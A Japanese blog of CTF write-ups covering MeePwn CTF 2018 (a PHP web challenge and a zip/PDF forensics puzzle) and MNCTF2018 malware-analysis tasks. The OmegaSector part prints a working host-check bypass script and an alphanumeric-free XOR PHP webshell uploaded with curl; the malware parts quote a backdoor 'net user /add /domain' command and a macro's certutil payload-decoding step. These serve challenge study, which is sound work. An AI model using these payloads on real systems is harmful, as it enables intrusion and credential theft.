こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

MEEPWN CTF 2018 - OmegaSector

問題文

Wtf !? I just want to go to OmegaSector but there is weird authentication here, please help me http://138.68.228.12/

f:id:graneed:20180716014701p:plain

writeup

Stage1

HTMLソースを確認する。

<html>
<style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style>
<head>
  <link rel="stylesheet" href="assets/omega_sector.css">
  <link rel="stylesheet" href="assets/tsu_effect.css">
</head>

<h2 id="intro" class="neon">Seems like you are not belongs to this place, please comeback to ludibrium!</h2><img src="assets/map.jpg" id="taxi" width="55%" height="55%" /><body background="assets/background.jpg" class="cenback">
</body>
<!-- is_debug=1 -->
<!-- All images/medias credit goes to nexon, wizet -->
</html>

is_debug=1のヒントを発見。

http://138.68.228.12/?is_debug=1にアクセスする。

f:id:graneed:20180716014856p:plain

ソースコードが表示された。

<?php 
ob_start(); 
session_start(); 
?> 
<html> 
<style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style> 
<head> 
  <link rel="stylesheet" href="assets/omega_sector.css"> 
  <link rel="stylesheet" href="assets/tsu_effect.css"> 
</head> 

<?php 

ini_set("display_errors", 0); 
include('secret.php'); 

$remote=$_SERVER['REQUEST_URI']; 

if(strpos(urldecode($remote),'..')) 
{ 
mapl_die(); 
} 

if(!parse_url($remote, PHP_URL_HOST)) 
{ 
    $remote='http://'.$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI']; 
} 
$whoareyou=parse_url($remote, PHP_URL_HOST); 


if($whoareyou==="alien.somewhere.meepwn.team") 
{ 
    if(!isset($_GET['alien'])) 
    { 
        $wrong = <<<EOF 
<h2 id="intro" class="neon">You will be driven to hidden-street place in omega sector which is only for alien! Please verify your credentials first to get into the taxi!</h2> 
<h1 id="main" class="shadow">Are You ALIEN??</h1> 
<form id="main"> 
    <button type="submit" class="button-success" name="alien" value="Yes">Yes</button> 
    <button type="submit" class="button-error" name="alien" value="No">No</button> 
</form> 
<img src="assets/taxi.png" id="taxi" width="15%" height="20%" /> 
EOF; 
        echo $wrong; 
    } 
    if(isset($_GET['alien']) and !empty($_GET['alien'])) 
    { 
         if($_GET['alien']==='@!#$@!@@') 
        { 
            $_SESSION['auth']=hash('sha256', 'alien'.$salt); 
            exit(header( "Location: alien_sector.php" )); 
        } 
        else 
        { 
            mapl_die(); 
        } 
    } 

} 
elseif($whoareyou==="human.ludibrium.meepwn.team") 
{ 
     
    if(!isset($_GET['human'])) 
    { 
        echo ""; 
        $wrong = <<<EOF 
<h2 id="intro" class="neon">hellu human, welcome to omega sector, please verify your credentials to get into the taxi!</h2> 
<h1 id="main" class="shadow">Are You Human?</h1> 
<form id="main"> 
    <button type="submit" class="button-success" name="human" value="Yes">Yes</button> 
    <button type="submit" class="button-error" name="human" value="No">No</button> 
</form> 
<img src="assets/taxi.png" id="taxi" width="15%" height="20%" /> 
EOF; 
        echo $wrong; 
    } 
    if(isset($_GET['human']) and !empty($_GET['human'])) 
    { 
         if($_GET['human']==='Yes') 
        { 
            $_SESSION['auth']=hash('sha256', 'human'.$salt); 
            exit(header( "Location: omega_sector.php" )); 
        } 
        else 
        { 
            mapl_die(); 
        } 
    } 

} 
else 
{ 
    echo '<h2 id="intro" class="neon">Seems like you are not belongs to this place, please comeback to ludibrium!</h2>'; 
    echo '<img src="assets/map.jpg" id="taxi" width="55%" height="55%" />'; 
    if(isset($_GET['is_debug']) and !empty($_GET['is_debug']) and $_GET['is_debug']==="1") 
    { 
        show_source(__FILE__); 
    } 
} 

?> 
<body background="assets/background.jpg" class="cenback"> 
</body> 
<!-- is_debug=1 --> 
<!-- All images/medias credit goes to nexon, wizet --> 
</html> 
<?php ob_end_flush(); ?> 

ソースコードを読み解くと、$_SERVER['REQUEST_URI']を条件に、画面が変わるようだ。

alien.somewhere.meepwn.teamの場合は、エイリアン用の画面、
human.ludibrium.meepwn.teamの場合は、人間用の画面、
が表示される。

$_SERVER['REQUEST_URI']は、HTTPリクエストヘッダーの、GETやPOSTのURIである。しかし、Webブラウザやcurlコマンドでアクセスすると、GETやPOSTのURI/から始まるパスになる。

そういえば、Honeypotのログを解析していると、http://から始まるURIでアクセスしてくる場合があることを思い出す。何か方法があるのではと思い、http://から始まる絶対パスでアクセスする方法を探すと、以下のページがヒット。色々、役に立つものだ。

php - How to force cURL to send a complete URL as request target? - Stack Overflow

参考にして、以下のスクリプトを作成する。
合わせて、セッションのauthをセットするためのalienパラメータを付与する。

<?php
$host = '138.68.228.12';
$path = 'http://alien.somewhere.meepwn.team/?alien=%40!%23%24%40!%40%40';
#$path = 'http://human.ludibrium.meepwn.team/?human=Yes';

$fp = fsockopen($host, 80);

fputs($fp, "GET $path HTTP/1.1\r\n");
fputs($fp, "Host: $host\r\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
fputs($fp, "Content-length: 0\r\n");
fputs($fp, "Connection: close\r\n\r\n");

$result = ''; 
while(!feof($fp)) {
    $result .= fgets($fp, 128);
}

fclose($fp);

echo $result;
?>

実行する。

root@kali:OmegaSector# php curl_absolute.php 
HTTP/1.1 302 Found
Date: Sun, 15 Jul 2018 17:09:05 GMT
Server: Apache/2.4.18 (Ubuntu)
Set-Cookie: PHPSESSID=41ni0sv31e0h97iraa22tvpse3; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: alien_sector.php
Content-Length: 230
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style>
<head>
  <link rel="stylesheet" href="assets/omega_sector.css">
  <link rel="stylesheet" href="assets/tsu_effect.css">
</head>

認証済みのPHPSESSIDである41ni0sv31e0h97iraa22tvpse3をゲット。

Stage2

WebブラウザにPHPSESSIDをセットして、alien_sector.phpにアクセス。

f:id:graneed:20180716021529p:plain

文字列を入力可能なテキストエリアが表示される。エイリアン用のフォントになっているようで、そのままだと読めないが、コピペするなりHTMLソースから読む。色々と入力を試すと、以下のことがわかる。

  • a-zA-z0-9は入力不可。記号のみ。
  • 入力可能な文字数は40文字まで。
  • 入力に成功すると、入力文字列のテキストを使用して、
    /alien_message/ハッシュ値.alienのファイルを作成。

また、Fiddlerでリクエストデータを解析すると、入力文字列であるmessageパラメータ以外に、typeパラメータにalienをセットしていることがわかる。

typeパラメータを改ざんすると、作成されるファイルの拡張子が変わった。
よって、typeパラメータをphpに変更することで、任意のphpコードが実行可能である。

なお、human.ludibrium.meepwn.teamでアクセスする人間用のページもあったが、こちらは逆にa-zA-Z0-9しか入力できず、PHPコードは作れないため、使用しなかった。

Stage3

記号のみでPHPコードを作ればよい。
PHPヘッダーは<?phpから始まるが、phpはアルファベットであり使用できないため、<?= =?>で代替することにした。以下を参照。

PHP: HTML からの脱出 - Manual

ここからだいぶ悩んだが、チームメンバーから以下のヒントをもらった。

[Bypass WAF] Php webshell without numbers and letters • Penetration Testing

記号と記号のXORでアルファベットを錬成するアイデア
試行錯誤した結果、以下の方法でcat ../の文字列を錬成することに成功。
なお、サラッと書いているが、ここら辺は、ものすごい時間がかかっている。

php > echo(('<>+'^'___').' ../*');
cat ../*

作成するPHPファイルに埋め込むソースの全体は以下の通りとなる。

<?=$_=('<>+'^'___').' ../*'?><?=`$_`?>

PHPファイル生成のリクエストを発行する。なお、HTTPエンコード済み。

root@kali:OmegaSector# curl http://138.68.228.12/alien_sector.php -H "Cookie: PHPSESSID=41ni0sv31e0h97iraa22tvpse3" -d "type=php" -d "message=%3C%3F%3D%24_%3D('%3C%3E%2B'%5E'___').'%20..%2F*'%3F%3E%3C%3F%3D%60%24_%60%3F%3E"
]<html>
<style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style>
<head>
  <link rel="stylesheet" href="assets/omega_sector.css">
  <link rel="stylesheet" href="assets/tsu_effect.css">
</head>


<h2 id="intro" class="alien_language">Saved in alien_message/0747cd11edbf2310cdca76c274f44201.php</h2><div class="alien_language">
<h2 id="intro" class="neon">Looks like the aliens aren't here, so please leave the message, they will come later.</h2>
</div>
<form action="alien_sector.php" method="POST">
<textarea class="shadow" id="main" name="message"></textarea>
<input type='text' name='type' value='alien' hidden />
<button type="submit" id="button"><div class="alien_language">Save</div></button>
</form>
<body background="assets/alien_sector.jpg" class="cenback"></body>
<audio controls autoplay hidden>
  <source src="assets/omegasector.mp3" type="audio/mpeg">
</audio>
</html>

PHPファイルができたのでアクセスする。

root@kali:OmegaSector# curl http://138.68.228.12/alien_message/0747cd11edbf2310cdca76c274f44201.php
cat ../*<?php
ob_start();
session_start();
?>
<html>
<style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style>
<head>

(snip)

<?php ob_end_flush(); ?><?php

$salt='G0g0_M3s0sr4ng3rS_1337';
$omega_sector_flag="MeePwnCTF{__133-221-333-123-111___}";
//Don't attack further after captured our flag, or we will find you and we will kill you... oops, i mean ban you ^_^.

function mapl_die()
    {
        $wrong = <<<EOF
<body background="assets/wrong.jpg" class="cenback"></body>
EOF;
        die($wrong);
    }

?>

saltが格納されているsecret.php内にフラグがあったようだ。
$omega_sector_flag="MeePwnCTF{__133-221-333-123-111___}";
フラグゲット。

MEEPWN CTF 2018 - White Snow, Black Shadow

問題文

Finally we caught the image in criminal communication. But Holmes, why are they crying?

添付ファイル:evidence_3D71E1CC6B2599438A7C0173239A896E.zip

writeup

Stage1

binwalkで調査。

root@kali:MEEPWNCTF2018# binwalk evidence.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
30            0x1E            TIFF image data, big-endian, offset of first image directory: 8
217428        0x35154         End of Zip archive

Stirlingで観察してみると、Zipのヘッダーのシグネチャに含まれているPK文字がjpgファイル内に複数出現している。また、message.pdfというファイル名も発見。

f:id:graneed:20180714104340p:plain

PK文字で探すと、0x00021F5Aから先がZipファイルのように見える。
切り出して別ファイルとして保存する。

しかし、binwalkでもforemostでも機械抽出できていないことから、おそらくヘッダー情報が破損している。

以下のサイトを参考に、Zipのヘッダー情報を分析する。

ZIP書庫ファイル フォーマット - 略して仮。

Local file header

field value(HEX) memo
local file header signature 50 4B 05 06 ★50 4B 03 04が正
version needed to extract 14 00
general purpose bit flag 00 00
compression method 09 00 deflate64を指す
last mod file time 5B 68
last mod file date E4 4C
crc-32 2E DB F5 54
compressed size 74 31 01 00
uncompressed size B4 4C 01 00
file name length 0B 00
extra field length 00 00
file name 6D 65 73 73 61 67 65 2E 70 64 66 message.pdf

Central directory header

field value(HEX) memo
central file header signature 50 4B 01 02
version made by 1F 00
version needed to extract 14 00
general purpose bit flag 00 00
compression method 08 00
last mod file time 5B 68
last mod file date E4 4C
crc-32 2E DB F5 54
compressed size 74 31 01 00
uncompressed size B4 4C 01 00
file name length 0B 00
extra field length 24 00
file comment length 00 00
disk number start 00 00
internal file attributes 00 00
external file attributes 20 00 00 00
relative offset of local header 00 00 00 00
file name 6D 65 73 73 61 67 65 2E 70 64 66 message.pdf
extra field 0A 00 20 00 00 00 00 00 01 00 18 00 AA 23 E6 A5 5C 13 D4 01 8E B9 7B 08 37 14 D4 01 4F 7C 0C 08 37 14 D4 01

End of central directory record

field value(HEX) memo
end of central dir signature 50 4B 05 06
number of this disk 00 00
number of the disk with the start of the central directory 00 00
total number of entries in the central directory on this disk 01 00
total number of entries in the central directory 01 00
size of the central directory 5D 00 00 00
offset of start of central directory with respect to the starting disk number 9D 31 01 00
.ZIP file comment length 00 00

Local file headerのlocal file header signatureを50 4B 03 04に修復する。

しかし、7zipで開けるようになったが、解凍できない。

f:id:graneed:20180714110653p:plain

以前、別のCTFで知ったzipfixを試してみる。

GitHub - TheZ3ro/zipfix: Fix zip files with broken central directory

root@kali:MEEPWNCTF2018# python zipfix.py evidence_cutout.zip 
Reading evidence_cutout.zip Central Directory
Found 1 file(s) from Central Directory:
- message.pdf
Reading evidence_cutout.zip ZIP entry manually
Found message.pdf
Traceback (most recent call last):
  File "zipfix.py", line 137, in <module>
    main(sys.argv[1])
  File "zipfix.py", line 117, in main
    zef = zipfile.ZipExtFile(f, 'rb', zi)
  File "/usr/lib/python2.7/zipfile.py", line 530, in __init__
    raise NotImplementedError("compression type %d (%s)" % (self._compress_type, descr))
NotImplementedError: compression type 9 (deflate64)

エラー発生。
pythonのzipfileライブラリはdeflate64をサポートしていないとのこと。

python - Opening zipfile of unsupported compression-type silently returns empty filestream, instead of throwing exception - Stack Overflow

少し悩むが、Kaliに入っていた7zを試してみる。

root@kali:MEEPWNCTF2018# 7z e evidence_cutout.zip 

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=ja_JP.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i7-2600K CPU @ 3.40GHz (206A7),ASM,AES-NI)

Scanning the drive for archives:
1 file, 78352 bytes (77 KiB)

Extracting archive: evidence_cutout.zip

ERRORS:
Headers Error

--
Path = evidence_cutout.zip
Type = zip
ERRORS:
Headers Error
Physical Size = 78352

ERROR: CRC Failed : message.pdf
                  
Sub items Errors: 1

Archives with Errors: 1

Open Errors: 1

Sub items Errors: 1

root@kali:MEEPWNCTF2018# ll message.pdf 
-rwxrwxrwx 1 root root 85172  7月  4 13:02 message.pdf

解凍できた。Windows7-zipではできなかったのに・・・。

Stage2

解凍したmessage.pdfをAcrobat Readerで開けない。

f:id:graneed:20180714111814p:plain

これもまた修復が必要なようだ。
修復ツールに心当たりがなかったので、「pdf fix online」のキーワードで検索。
正直怪しいが、オンラインの修復サービスを使用する。

PDF Tools Online - Repair PDF

(オフラインの信頼できる修復ツールもあるのだろう。他のwriteupに期待する。)

修復後のPDFをAcrobat Readerで開くが、パッと見、フラグ文字列が見つからない。

しかし、全選択してテキストに貼り付けて和訳してみようとしたところ、Mee、Pwn、CTF、{、}など、PDFに表示されていないフラグ文字列の断片を発見。仕掛けを調べきれていないが、PDFに非表示文字列の仕組みがあるのだろうか。

文章を読みながらフラグ文字列の断片を拾っていく。

“When you have eliminated the impossible, whatever remains, however improbable, must be the truth.” – Sir Arthur Conan Doyle What does that mean? To me, this is all about logic. If you start with everything you can think of, and then eliminate those that are impossible, you are well on your way to a solution. That’s the first stage of solving any mystery, whether it’s a murder mystery in a book (or TV, or movie, or…) or somethingMeeyou expected to work, but didn’t. You have to eliminate all the things that it couldn’t possibly be, or you will have too many distractions. Once we clear out all the distractions, we can focus on what remains. Sometimes what is left is easy to believe, other times it can seem highly improbable. However, with the impossible eliminated, whatPwnremains are the only possible solutions. And oneCTFof them must be the truth. Why is clearing out the impossible solutions important? Sometimes, it can be hard to solve a{T3challenging situation even under the best of circumstances. A problem with lotsxt_of shiny things to look at can be distracting, and waste a great deal of our time. While some impossibilities might be obvious, sometimesUndwe can be sucked in by an idea that3r_intrigues us, despite being impossible. Other times, it is only in close examination that the impossibility is revealed. However, once we clear the clutter by removing all that is impossible, we are left with an easier solution. Gone are the impossibilities, botht3Xobvious and subtle. What is left can be gone over more quickly, and evaluated for probability or even likelihood. This may be an iterative process, starting with the really obvious impossibilities, and then moving to the shiny distractions. Finally, as wet!!!!}work our way through the last of the options, we may still find ourselves weeding out additional impossibilities.

繋げると以下の文字列になる。
MeePwnCTF{T3xt_Und3r_t3Xt!!!!}
フラグゲット。

MNCTF2018 writeup

2018/7/12開催のMNCTF2018に参加。
最速のwriteup投稿を目指して、ちょっと荒いが投稿。

最後の2問は解けなかった、残念。

新人奮闘I☆☆☆

問題

7月から株式会社マクニキのCSIRTに配属された新人のとだ君は、さっそく仕事が与えられました。サーバ管理者のこばやし君がADの最適化ツールと思い込み、誤ってマルウェアを実行してしまいました。ファイル名は「AD_OptimizationTool.exe」で、ADサーバ上、ドメイン管理者権限で実行してしまいました。とだ君はこばやし君からマルウェアを受け取り、さっそくマルウェアの解析に挑みます。 まずはマルウェアののSHA-256のハッシュ値を求めてください。

解答

sha256ハッシュを計算するだけ。

root@kali:/mnt/CTF/MNCTF2018# sha256sum AD_OptimizationTool.exe 
f24f5629be2e0f821adb36fe4d47407937f5a318bf96ae3655b628f833040f29  AD_OptimizationTool.exe

新人奮闘II★☆☆

問題

とだ君は「AD_OptimizationTool.exe」の解析レポートを書こうとしています。ここにアクセスして、手伝ってあげてください。※すべての項目を入力すると正解が得られます。

f:id:graneed:20180712133620p:plain

解答

ハッシュとファイルサイズはサッと取得する。

root@kali:/mnt/CTF/MNCTF2018# md5sum AD_OptimizationTool.exe 
541427a9dbe43b10c05b856cdcdc5ba6  AD_OptimizationTool.exe

root@kali:/mnt/CTF/MNCTF2018# sha1sum AD_OptimizationTool.exe 
e0fa838e0f191f97c5dac7a831af60d750432017  AD_OptimizationTool.exe

root@kali:/mnt/CTF/MNCTF2018# ll AD_OptimizationTool.exe 
-rwxrwxrwx 1 root root 2048  7月 11 19:46 AD_OptimizationTool.exe

PE情報はPEviewで確認する。

f:id:graneed:20180712133638p:plain f:id:graneed:20180712133647p:plain

取得した情報を入力すると答えが表示された。

f:id:graneed:20180712134051p:plain

新人奮闘III★☆☆

問題

とだ君はマルウェア解析を継続し、マルウェアを実行するとコマンドが実行されることに気づきました。コマンドは何でしょうか?コマンド全体を入力してください。

解答

stringsを実行する。

root@kali:/mnt/CTF/MNCTF2018# strings AD_OptimizationTool.exe 
!This program cannot be run in DOS mode.
.text
 .data
@.import
hO @
hK @
h| @
AD Optimizer
Optimization successfuly finished.\nThe speed increased 176%.
/c net user /add /domain vpnadmin P@ssw0rD1!
open
kernel32.dll
shell32.dll
user32.dll
ExitProcess
Sleep
ShellExecuteA
MessageBoxA

net user /add /domain vpnadmin P@ssw0rD1!が答え。

新人奮闘IV★☆☆

問題

とだ君はコマンドを調査した結果、ADと連携しているVPNシステムに不正ログインされている可能性を考えて、VPNのログを調査するとにしました。マルウェア解析で分かった情報と照らし合わせて、不正ログインされている時刻を答えてください(YYYY/MM/DD hh:mm形式)

解答

直前の問題で得たvpnadmingrepする。

root@kali:/mnt/CTF/MNCTF2018# grep vpnadmin vpn20180712.log 
2018/07/13 15:01,vpnadmin,27.117.128.1

2018/07/13 15:01が答え。

新人奮闘V★☆☆

問題

とだ君は不正ログインのIPアドレスを元に攻撃元の国を調べました。どの国でしょうか?日本語で解答してください。

解答

Googleで「ipアドレス 国 判別」等で検索して、ヒットしたサービスを使用する。
Koreaだとわかるので、韓国が答え。

大量不正★★☆

問題

株式会社マクニキのCSIRT担当てしがわら君は、過去に自社内に見つけたマルウェアの断片を調査してみることにした。このマルウェア群から、類似性の高い組み合わせを見つけて、そのファイル名をハイフンでつなげて答えてください。 例)sample1.bin-sample2.bin

解答

zipを解凍すると、sample1.binからsample100.binまで100ファイルが出現。
fileコマンドで確認するが全てテキストファイル。

root@kali:/mnt/CTF/MNCTF2018# file malwares/malware/*
malwares/malware/sample1.bin:   ASCII text, with CRLF line terminators
malwares/malware/sample10.bin:  ASCII text, with CRLF line terminators
malwares/malware/sample100.bin: ASCII text, with CRLF line terminators
(snip)
malwares/malware/sample98.bin:  ASCII text, with CRLF line terminators
malwares/malware/sample99.bin:  ASCII text, with CRLF line terminators

いくつか中身を見ると、1行目は5桁程度の数字。
2行目以降は可変の数字のようだ。

ハッシュをとって比較しても一致するファイルは無い。

問題文の類似性という点から、全く同じファイルではなく一部が同じなのだろうと推測。
少し悩んだが、1行目の数値のカウントをとってみる。

root@kali:/mnt/CTF/MNCTF2018# head -1 malwares/malware/sample* | sort | uniq -c | sort 
      1 10619 
      1 10759 
      1 10954 
(snip)
      1 9447 
      1 9617 
      1 ==> malwares/malware/sample1.bin <==
      1 ==> malwares/malware/sample10.bin <==
      1 ==> malwares/malware/sample100.bin <==
(snip)
      1 ==> malwares/malware/sample98.bin <==
      1 ==> malwares/malware/sample99.bin <==
      2 17006 
     99 

17006だけ2つのファイルにあるようだ。

17006でgrepをかける。一応、nオプションで行数も表示させて、1行目がHITするものを判別する。

root@kali:/mnt/CTF/MNCTF2018# grep -n 17006 malwares/malware/*
malwares/malware/sample1.bin:1:17006 
malwares/malware/sample12.bin:71:235449033289863261646029958267771248839571175917006585132455169388947203 
malwares/malware/sample12.bin:105:04150533999508106155462134431067284989383464926518312699982982917006 
malwares/malware/sample21.bin:93:027737765276734941516730287188852159611489258341451518325170061865218514 
malwares/malware/sample32.bin:8:3141630176170061238269212916320972528087324047533326387105782479698712472 
malwares/malware/sample34.bin:23:18872125853100211947338815718113343091217006104333114420868101575030115973289 
malwares/malware/sample39.bin:127:111131506717145170062829289055431646616806551812061301632307 
malwares/malware/sample4.bin:68:189093845318729704667723182142319422289601164115599197710188170061981231134 
malwares/malware/sample45.bin:36:0686516622280158296366144092600112944814159581256324015230262737717006 
malwares/malware/sample68.bin:1:17006 
malwares/malware/sample83.bin:56:158924940999822722252261343619706101170069998146818401513228512267587455 
malwares/malware/sample85.bin:106:170061918131098144412964444162495128874559529886225891176827156 
malwares/malware/sample89.bin:98:26841256331662716234170061807514614124301474731624236061989927050728299685902 
malwares/malware/sample91.bin:110:111702637127372013293522907717006315765097284742494025811228766518292351610 

sample1.bin-sample68.binが答え。

種類特定★★☆

問題

株式会社マクニキのCSIRT担当のてしがわら君は、海外拠点のエンジニアからマルウェア感染の連絡を受けました。先方からは、マルウェアの種類が特定できておらず、右往左往しています。サンドボックス上でマルウェアを動作させた際のマルウェアの通信はこちらです。パケットから、マルウェアの名前を特定してください。英字で解答してください。

解答

WireSharkで見てみる。

f:id:graneed:20180712134306p:plain

/images/GnBKaYOtPriW2Gg_2FSL_2/FHKd8Kd5bkW6W/x7j_2FKi/KiqHM_2Fh7GsRCwLf5ChDFa/F2mTob6Gr4/taMEy1pRTdVV2fsR_/2BNvWB7fYock/a7HKjH1Fytf/2yr_2FPVRYv2t_/2FRMCh_2BE_2By_2Bwn6G/GlWu_2FELxZZWd5F/1pmIiRnJqqmRnj7/syJhI_2BUbG/xA.gifにGETリクエストを発行している。

URL文字列を使用して外部に情報流出させているのだろう。
Google検索でキーワードを変えながら調査。
malware URL パス データ 送信」で検索したところ、以下の資料がHIT。

https://www.jpcert.or.jp/present/2018/JSAC2018_06_ikuse.pdf

マルウェアURSNIFのようだ。しかし、入力しても不正解。
上記資料の5ページ目を見ると、別名Goziとのこと。
Goziが答えだった。

標的攻撃I★★☆

問題

ある日、株式会社マクニキにフィッシングメールのが届きました。メールを転送されたてしがわら君はその添付ファイル「製品価格一覧20180711.xls」を解析した。しかし、残念ながら、サンドボックス上では解析はできなかったため、手動で解析するととにしました。 特定のユーザ名の環境でないと動作しないようです。ファイルを調査して動作条件であるユーザ名を特定してください。(複数ある場合は一つのみ回答してください)。

解答

ExcelでBookを開く。 f:id:graneed:20180712134324p:plain

Alt+F11キーでマクロを確認する。 f:id:graneed:20180712134358p:plain

C6~C11セルのいずれかの値と、自分のユーザ名が一致した場合に発動するようだ。

C列が非表示になっていたので表示すると、以下の名前がセットされていた。

Yasu Kobayashi
Take Teshigawara
Soichi Yamamoto
Tada Okuno
Yoshi Hatakeyama
Sho Shinogi

たぶんどれでも良いがYasu Kobayashiで答えた。

標的攻撃II★★☆

問題

「製品価格一覧20180711.xls」の攻撃が発動すると、HTTPSの通信が発生します。そのURLを回答してください。

解答

直前の問題で確認したマクロ内のURLが答え。 https://gist.githubusercontent.com/Sh1n0g1/3a240ce15fe7f26263ddf1877e5acc38/raw/d1d74601e5f4c94c958130accb16add9bb16e33d/certが答え。

標的型攻撃III★★☆

問題

「製品価格一覧20180711.xls」の動作を終えると、別のファイルが生成され、そこから2次検体が生成されます。2次検体のSHA256ハッシュ値を調べてください。

解答

直前の問題のURLからファイルをダウンロードする。 マクロを確認すると、ダウンロードしたファイルを以下の通りcertutilコマンドで複合している。

        Shell "certutil -decode """ & startupFolder & "\cert.pem"" """ & startupFolder & "\cert.exe"""

コマンドプロンプトを起動して、ファイルを保存したディレクトリで以下コマンドを実行。

C:\CTF\MNCTF2018>certutil -decode cert.pem cert.exe

あとはsha256ハッシュを計算するだけ。

root@kali:/mnt/CTF/MNCTF2018# sha256sum cert.exe 
c4f069d079330cd46e51f9469c27015ed34c6371481df83a323bc098f3b53382  cert.exe

標的攻撃IV★★☆

問題

2次検体を実行すると、HTTPSの通信が発生します。最初の通信のURLを調べてください。

解答

cert.exeを実行すると、コマンドプロンプトが起動して何らかのコマンドを実行してすぐに閉じられた。
力技だが、閉じられる前にキャプチャを取得。

f:id:graneed:20180712134545p:plain

https://shinobotps1.com/download_get.phpが答え。

穴埋防御★★★

問題

株式会社マクニキのCSIRT担当のてしがわら君は不審なファイルを社内のサーバから見つけました。セキュリティベンダーに解析をお依頼したところ、最終的なマルウェアを検知するためのメモリをスキャンするためのYaraルールが提供されました。しかし、Yaraルールは一部欠けており、そのままでは使えません。マルウェアを解析し、Yaraルールを完成させてください。★に入る文字列を回答してください。

解答

解けなかったので途中まで。

不審なファイルをBASE64デコードするとPowerShellのファイルが出現。

function Invoke-ReflectivePEInjection
{

Param(
    [Parameter(Position = 0, Mandatory = $true)]
    [String]
    $PEBytes,
    
    [Parameter(Position = 1)]
    [String]
    $Func,
    
    [Parameter(Position = 2)]
    [Int32]
    $ProcId,

    [Parameter(Position = 3)]
    [Switch]
    $ForceASLR
)
Set-StrictMode -Version 2
(snip)

}
Invoke-ReflectivePEInjection -PEBytes "Wk2HFxQXFxcTFxcX6Og(snip)xcXFxcXFxc="  -FUNC Start

Invoke-ReflectivePEInjectionを使用しているようだ。

PowerShellで実行したところ、メモ帳で自身のファイルを開いた。
このメモ帳のプロセスにDLLインジェクションされているのだろうか。

盗難情報★★☆

問題

株式会社マクニキのCSIRT担当のてしがわら君は攻撃者が残したファイルを入手しました。調査したセキュリティベンダー曰く、攻撃者はC&Cサーバに情報をアップロードする際にファイルを暗号化するとのことで、以下のアルゴリズムで暗号化されたものらしい。 XOR(シングルバイトキー)→ Base64 → ROT13 同攻撃者はマクニキの新製品情報を狙ったとみられています。ファイルを復号して、新製品の製品型番を答えてください。

解答

解けなかったので途中まで。

ROT13デコードしてBASE64デコードしてファイル作成。
XORSearch、XORStringsにかけたが、見つからなかった。